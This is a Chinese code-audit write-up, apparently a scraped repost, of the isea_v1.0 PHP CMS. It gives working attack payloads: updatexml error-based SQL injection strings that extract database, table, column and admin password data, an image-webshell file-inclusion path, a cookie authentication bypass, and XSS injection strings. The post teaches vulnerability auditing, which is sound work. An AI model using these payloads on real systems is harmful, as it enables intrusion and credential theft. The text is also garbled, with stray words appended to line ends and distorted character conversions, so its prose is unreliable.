注意搭建环境时将路径中的中文改为英文php
seay 报出 34 个可能的漏洞,不是不少能够再结合容易出漏洞的功能点逐一看一下html
先检查第一个可疑漏洞,打开 /index.php 文件,明显的文件包含漏洞,$_GET['r'] 未通过滤直接被 include 包含,可是添加了 php 后缀数据库
通常文件包含漏洞都会结合图片马一块儿利用,登陆到后台发现资料设置处能够上传头像,看一下处理上传图片的代码 /admin/files/manageinfo.php 没有什么过滤,可是包含了 /inc/up.class.php,上传功能仅对文件后缀进行了判断,白名单:jpg|jpeg|gif|bmp|png,恰好能够上传图片马windows
上传图片马,后台直接显示出路径,接下来包含图片马后还须要截断 php 后缀,具体操做和限制条件能够参考我这篇 http://www.javashuo.com/article/p-qlxczawz-e.html 博客的 2.7 小节浏览器
/admin/index.php 也存在一样的文件包含漏洞,这里就不详细分析了函数
审计一下后台登陆的代码 /admin/files/login.php,首先程序用POST方式接收参数,而后未经任何过滤进行了用户名校验,若是用户名存在继续进行密码校验。这里计算传递的 password 变量的 md5,而后拿 md5 值与数据库里面的密码进行核对测试
能够经过报错注入利用这个漏洞,顺便写一下 updatexml 报错注入原理。MySQL 5.1.5 版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml编码
UPDATEXML (XML_document, XPath_string, new_value);url
所以须要在第二个参数中插入不属于Xpath格式的内容,便可引起报错spa
payload 以下
1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#爆库 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 6,1),0x7e),1)#爆表 1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='manage' limit 3,1),0x7e),1)#爆字段 1' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),1) #爆密码
可是因为 updatexml 最大长度是 32 位,因此要进行两次报错注入拼接密码 md5 值
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) # 1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
/admin/files/newlink.php 也有程序用POST方式接收参数,而后未经任何过滤插入数据库的问题,用刚刚的 payload 能够获得结果,这里不详细分析了
/inc/checklogin.php 是一个判断管理员的程序,若是COOKIE中 user 参数为空,那么就跳转到登录窗,很容易利用这个漏洞,抓包添加user字段即直接进入后台管理
后台管理员存在文件删除的功能,/inc/checklogin.php 验证是不是管理员,GET传递的 delete 参数直接插入数据库删除对应的文件
利用一下这个漏洞,登陆管理员帐号后,点击以下连接,成功删除文章
http://192.168.25.130/isea_v1.0/admin/?r=wzlist&delete=8
留言功能很容易出现存储型XSS,/files/contact.php 页面有留言功能,留言后 /files/submit.php 页面 insert 插入数据表
补充一下 textarea 标签里的内容在浏览器里会自动编码成实体字符,例如
<textarea><script>alert(1)</script></textarea>
利用时须要先跳出 textarea 标签(这里不适用,由于在 /files/submit.php 中还会过滤 content 内容)
</textarea><script>alert(1);</script>
利用一下漏洞,因为这里有一些代码中相对地址的不一样,把源代码直接放在根目录跳转时不会发生错误(原来源码是放在 /isea_v1.0/ 下进行测试),虽然这里的 content 进行了严格的过滤,可是 name、mail、url 都没有进行过滤,能够直接提交 js 代码上去,可是要注意利用时注意闭合标签,以昵称为例,构造一个 payload,后台管理员处能够成功弹窗
<script>alert(1);</script>','1','1','1','1','1','1','1','1'),('1','1','1','1
仍是在 /files/contact.php 页面,显示页码的 page 参数没有任何过滤,产生反射型XSS漏洞,可是利用起来很鸡肋
此次 cms 的审计难度较 bluecms 简单一点,对新手友好,锻炼思路仍是很好的。Seay 误报仍是挺多的,要本身多留意容易出漏洞的功能点。
参考:
http://pines404.online/2019/10/20/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/%E7%86%8A%E6%B5%B7CMS/